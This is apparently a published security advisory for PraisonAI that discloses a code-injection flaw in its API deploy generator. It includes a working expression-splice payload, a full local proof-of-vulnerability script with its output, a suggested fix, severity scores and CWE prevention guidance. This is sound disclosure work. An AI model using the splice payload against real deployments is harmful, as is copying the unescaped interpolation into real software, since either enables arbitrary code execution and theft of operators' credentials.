GHSA-79fv-7hq9-w7xg CVE-2026-61433 PYSEC-2026-4251
PraisonAI: API deploy code generator embeds unescaped YAML fields into Python source
- Severity
- 8.5 / 10
- High · CVSS 4.0
- Exploit chance (EPSS)
- 0.21%
- Chance of exploitation in the next 30 days. Higher than 11.24% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-116 Improper Encoding or Escaping of Output
- CWE-94 Improper Control of Generation of Code ('Code Injection')
- CWE-95 Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')
- Fix
4.6.78- Upgrade praisonai to this version or later
Description
API deploy code generator embeds unescaped YAML fields into Python source
Summary
PraisonAI's API deployment generator copies deploy.api.host from agents.yaml directly into generated Python source without safe literal encoding. A malicious PraisonAI project can set that host value to a Python expression splice; when an operator runs the API deploy flow, the generated server source compiles and executes the injected expression at startup. The same generator also embeds agents_file directly into generated route-handler expressions, giving a second route-time source injection site if the agent file path is attacker-controlled.
Technical Details
The vulnerable path starts with deployment configuration parsing. Deploy.from_yaml() reads the operator-supplied agents.yaml, validate_agents_yaml() accepts deploy.api.host as a string, and API deployments call start_api_server(self.agents_file, self.config.api). start_api_server() calls generate_api_server_code() and executes the generated Python file with python.
The current generator in src/praisonai/praisonai/deploy/api.py treats deployment data as Python syntax:
def generate_api_server_code(agents_file: str, config: Optional[APIConfig] = None) -> str:
...
code = f'''"""
...
praisonai = PraisonAI(agent_file="{agents_file}")
...
"agent_file": "{agents_file}"
...
app.run(
host='{config.host}',
port={config.port},
debug={config.reload}
)
'''
The violated invariant is that deployment configuration values should remain inert strings. Instead, config.host is inserted between single quotes in generated Python source. A value like this breaks out of the generated string literal and evaluates a Python expression:
' + (__import__("pathlib").Path("poc.txt").write_text("DEPLOY_API_HOST_CODE_EXECUTED") and "") + '
The generated startup code then becomes equivalent to:
app.run(
host='' + (__import__("pathlib").Path("poc.txt").write_text("DEPLOY_API_HOST_CODE_EXECUTED") and "") + '',
port=8005,
debug=False,
)
That expression executes before Flask handles any request. This is not a shell parsing issue and not just direct use of an unsafe Python API; it is a data-to-code transformation in the deployment generator.
agents_file has the same class of unsafe source interpolation in two generated route-handler expressions. A value shaped as " + (<side effect> and "") + " remains valid both in PraisonAI(agent_file=...) and in the /agents JSON response expression, so it executes when the generated handler evaluates that value.
PoV
The following local-only PoV stubs Flask and PraisonAI so it does not start a listener, invoke a model provider, or contact any external service. It proves that a malicious host value survives YAML schema parsing and executes when the generated server module is evaluated as __main__; it also includes a safe-host negative control and the secondary agents_file route-time interpolation check.
from pathlib import Path
import json
import sys
import tempfile
import types
import yaml
def install_stubs():
class FakeApp:
def __init__(self, name):
self.name = name
def route(self, *args, **kwargs):
def deco(func):
return func
return deco
def run(self, *args, **kwargs):
return None
flask = types.ModuleType("flask")
flask.Flask = FakeApp
flask.request = types.SimpleNamespace(headers={}, get_json=lambda: {"message": "hello"})
flask.jsonify = lambda obj: obj
sys.modules["flask"] = flask
flask_cors = types.ModuleType("flask_cors")
flask_cors.CORS = lambda app: app
sys.modules["flask_cors"] = flask_cors
praisonai_mod = types.ModuleType("praisonai")
class FakePraisonAI:
def __init__(self, agent_file):
self.agent_file = agent_file
def run(self):
return "ok"
praisonai_mod.PraisonAI = FakePraisonAI
sys.modules["praisonai"] = praisonai_mod
def main(repo):
sys.path.insert(0, str(Path(repo) / "src" / "praisonai"))
from praisonai.deploy.api import generate_api_server_code
from praisonai.deploy.models import APIConfig
from praisonai.deploy.schema import validate_agents_yaml
install_stubs()
with tempfile.TemporaryDirectory() as tmp:
tmp_path = Path(tmp)
host_marker = tmp_path / "host-marker.txt"
file_marker = tmp_path / "agent-file-marker.txt"
host_payload = "' + (__import__(\"pathlib\").Path(" + repr(str(host_marker)) + ").write_text(\"DEPLOY_API_HOST_CODE_EXECUTED\") and \"\") + '"
agents_yaml = tmp_path / "agents.yaml"
agents_yaml.write_text(yaml.safe_dump({
"deploy": {
"type": "api",
"api": {"host": host_payload, "port": 8005, "auth_enabled": False},
},
"agents": [{"name": "demo", "role": "demo", "goal": "demo"}],
}))
parsed_config = validate_agents_yaml(str(agents_yaml))
results = []
for label, config in [
("safe_host", APIConfig(host="127.0.0.1", auth_enabled=False)),
("malicious_host_from_yaml", parsed_config.api),
]:
host_marker.unlink(missing_ok=True)
code = generate_api_server_code("agents.yaml", config)
compile(code, f"<generated-{label}>", "exec")
exec(code, {"__name__": "__main__"})
results.append({
"case": label,
"compiled": True,
"host_preserved_by_yaml_parser": config.host == host_payload if label.startswith("malicious") else None,
"marker_exists_after_startup": host_marker.exists(),
"marker_contents": host_marker.read_text() if host_marker.exists() else None,
"generated_contains_raw_host": config.host in code,
})
file_payload = "\" + (__import__(\"pathlib\").Path(" + repr(str(file_marker)) + ").write_text(\"DEPLOY_API_AGENT_FILE_CODE_EXECUTED\") and \"\") + \""
file_marker.unlink(missing_ok=True)
code = generate_api_server_code(file_payload, APIConfig(host="127.0.0.1", auth_enabled=False))
compile(code, "<generated-agent-file>", "exec")
namespace = {"__name__": "generated_agent_file"}
exec(code, namespace)
namespace["list_agents"]()
results.append({
"case": "malicious_agent_file_route_value",
"compiled": True,
"marker_exists_after_list_agents": file_marker.exists(),
"marker_contents": file_marker.read_text() if file_marker.exists() else None,
"generated_contains_raw_agent_file": file_payload in code,
})
print(json.dumps(results, indent=2))
return 0 if results[1]["marker_exists_after_startup"] and results[2]["marker_exists_after_list_agents"] else 1
if __name__ == "__main__":
raise SystemExit(main(sys.argv[1] if len(sys.argv) > 1 else "."))
PoC
Command used against current source:
uv run --with pydantic --with pyyaml python pov_deploy_api_config_injection.py /path/to/PraisonAI
Decisive output:
[
{
"case": "safe_host",
"compiled": true,
"host_preserved_by_yaml_parser": null,
"marker_exists_after_startup": false,
"marker_contents": null,
"generated_contains_raw_host": true
},
{
"case": "malicious_host_from_yaml",
"compiled": true,
"host_preserved_by_yaml_parser": true,
"marker_exists_after_startup": true,
"marker_contents": "DEPLOY_API_HOST_CODE_EXECUTED",
"generated_contains_raw_host": true
},
{
"case": "malicious_agent_file_route_value",
"compiled": true,
"marker_exists_after_list_agents": true,
"marker_contents": "DEPLOY_API_AGENT_FILE_CODE_EXECUTED",
"generated_contains_raw_agent_file": true
}
]
The safe_host negative control compiles and evaluates the generated module without a marker side effect. The malicious_host_from_yaml case proves the YAML parser preserved the malicious host as a config string and the generated server executed it at startup. The malicious_agent_file_route_value case proves the secondary file-path interpolation executes when the generated /agents handler evaluates the generated response.
Impact
If an operator deploys a malicious PraisonAI project configuration, arbitrary Python can execute in the deploy process when the generated API server starts. That process can access the operator's environment, source tree, local files, model/API credentials, and deployment credentials. This is a project-configuration supply-chain issue rather than an unauthenticated remote endpoint: the security boundary is that deployment config values should stay data and not become executable Python source.
Suggested Fix
Do not interpolate deployment values directly into generated Python source. Use repr() or json.dumps() for every generated Python literal, or load runtime values from a JSON sidecar, environment variable, or command-line argument instead of embedding them into source. For the current generator, replace host='{config.host}' with a safely encoded literal such as host={config.host!r}, and apply the same safe encoding to agents_file in both generated sites. Add regression tests with host and agent-file values containing quotes, newlines, and expression-splice strings; the generated source should compile and treat those values as inert strings.
Affected Package/Versions
Package: praisonai
Confirmed current head: 1620b49f36945d8cc8ee5635b906c960df5097a0
Static sweep:
| Target | Result |
|---|---|
v4.5.128 |
affected; raw agents_file and config.host interpolation present |
v4.6.58 |
affected; raw agents_file and config.host interpolation present |
v4.6.59 |
affected; raw agents_file and config.host interpolation present |
v4.6.60 |
affected; raw agents_file and config.host interpolation present |
v4.6.62 |
affected; raw agents_file and config.host interpolation present |
v4.6.63 |
affected; raw agents_file and config.host interpolation present |
current 1620b49f |
affected; raw agents_file and config.host interpolation present |
Suggested severity: High
Suggested CVSS v3.1:
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Suggested CWEs:
- CWE-94: Improper Control of Generation of Code
- CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code
- CWE-116: Improper Encoding or Escaping of Output
Advisory History
The closest same-generator comparator is GHSA-8444-4fhq-fxpq, "PraisonAI deploy --type api emits a Flask server with authentication disabled by default." That advisory concerns the security posture of the generated Flask API server: missing authentication by default. This report is different: authentication can be enabled or disabled and the issue still exists because generate_api_server_code() emits deployment strings as Python syntax. The exploit primitive is generated-source injection from deploy.api.host and agents_file, not unauthenticated request access to the generated API.
This is also distinct from GHSA-6rmh-7xcm-cpxj / CVE-2026-44338, which addressed a legacy generated API server authentication issue. Both authentication advisories are useful context because they involve generated API server deployment, but neither covers unsafe literal encoding or Python expression injection in generate_api_server_code().
AgentOS, AgentTeam, A2U, MCP, and recipe-server authentication bypass reports are separate server-surface issues. Their root cause is missing request authentication or bind-policy enforcement, while this report's root cause is unsafe code generation before the server handles traffic.
References
src/praisonai/praisonai/deploy/api.py:generate_api_server_code()andstart_api_server()src/praisonai/praisonai/deploy/main.py:Deploy.from_yaml()and API/Docker deployment pathssrc/praisonai/praisonai/cli/features/deploy.py: CLI deployment handlerGHSA-8444-4fhq-fxpq: priorpraisonai deploy --type apigenerated API server authentication-default issueGHSA-6rmh-7xcm-cpxj/CVE-2026-44338: prior generated API server authentication issue- CWE-94: https://cwe.mitre.org/data/definitions/94.html
- CWE-95: https://cwe.mitre.org/data/definitions/95.html
- CWE-116: https://cwe.mitre.org/data/definitions/116.html
Affected versions
PyPI
| Package | Vulnerable | Fixed in |
|---|---|---|
| praisonai | < 4.6.78 |
4.6.78 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
praisonai PyPI → 4.6.78
- pip
pip install --upgrade "praisonai>=4.6.78"- poetry
poetry add "praisonai>=4.6.78"- uv
uv add "praisonai>=4.6.78"
Severity breakdown
CVSS 4.0 8.5
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
- Attack vector
- Local
- Attack complexity
- Low
- Attack requirements
- None
- Privileges required
- None
- User interaction
- Passive
- Confidentiality (vulnerable system)
- High
- Integrity (vulnerable system)
- High
- Availability (vulnerable system)
- High
- Confidentiality (subsequent systems)
- None
- Integrity (subsequent systems)
- None
- Availability (subsequent systems)
- None
- Exploit maturity
- Not defined
- Scope
- X
CVSS 3.1 7.8
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
- Attack vector
- Local
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- Required
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Weakness
CWE-116: Improper Encoding or Escaping of Output
The product prepares a structured message for communication with another component, but encoding or escaping of the data is either missing or done incorrectly. As a result, the intended structure of the message is not preserved.
How to prevent it
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error. Alternately, use built-in functions, but consider using wrappers in case those functions are discovered to have a vulnerability.
- Architecture and Design: If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated. For example, stored procedures can enforce database query structure and reduce the likelihood of SQL injection.
- Architecture and Design, Implementation: Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.
- Architecture and Design: In some cases, input validation may be an important strategy when output encoding is not a complete solution. For example, you may be providing the same output that will be processed by multiple consumers that use different encodings or representations. In other cases, you may be required to allow user-supplied input to contain control information, such as limited HTML tags that support formatting in a wiki or bulletin board. When this type of requirement must be met, use an extremely strict allowlist to limit which control sequences can be used. Verify that the resulting syntactic structure is what you expect. Use your normal encoding methods for the remainder of the input.
- Architecture and Design: Use input validation as a defense-in-depth measure to reduce the likelihood of output encoding errors (see CWE-20).
- Requirements: Fully specify which encodings are required by components that will be communicating with each other.
- Implementation: When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.
CWE-94: Improper Control of Generation of Code ('Code Injection')
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
How to prevent it
- Architecture and Design: Refactor your program so that you do not have to dynamically generate code.
- Architecture and Design: Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product. Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
- Testing: Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
- Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
- Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
- Implementation: For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].
CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')
The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes code syntax before using the input in a dynamic evaluation call (e.g. "eval").
How to prevent it
- Architecture and Design, Implementation: If possible, refactor your code so that it does not need to use eval() at all.
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- Implementation: Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass allowlist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control. Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.
- Implementation: For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-26mh-57q7-jfvr PraisonAI vulnerable to Remote Code Execution via Broken AST Sandbox | High | Also affects praisonai |
| GHSA-6g6r-q6gw-w8fg PraisonAI has a Browser Server WebSocket origin validation bypass via unanchored regex (patch bypass of CVE-2026-40289 / GHSA-8x8f-54wf-vv92) | Critical | Also affects praisonai |
| GHSA-pvph-5j39-v8qc PraisonAI: Origin-validation bypass (startswith prefix match) enables unauthenticated cross-site request forgery against the PraisonAI MCP HTTP server | High | Also affects praisonai |
| GHSA-gfq8-hmph-9gjv PraisonAI: Authentication fail-open in Recipe server allows unauthenticated access when API key or JWT auth is configured without a secret | High | Also affects praisonai |
| GHSA-2jgc-f764-c5r2 PraisonAI: [Auth Bypass] PraisonAI async Jobs API (`/api/v1/runs`) has no authentication — unauthenticated job execution, result theft, cancel and delete | High | Also affects praisonai |
| GHSA-pvxx-r596-f5qj PraisonAI: `--api-key` flag on `praisonai serve` is not properly enforced | High | Also affects praisonai |
| GHSA-hmfx-4v44-9qw9 PraisonAI vulnerable to Server-Side Request Forgery via DNS rebinding bypass in webhook_url validation | Medium | Also affects praisonai |
| GHSA-rg5q-pp8p-f7jm PraisonAI: Webhook SSRF via DNS fail-open in `JobSubmitRequest.validate_webhook_url()` — bypass of CVE-2026-40114 | High | Also affects praisonai |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor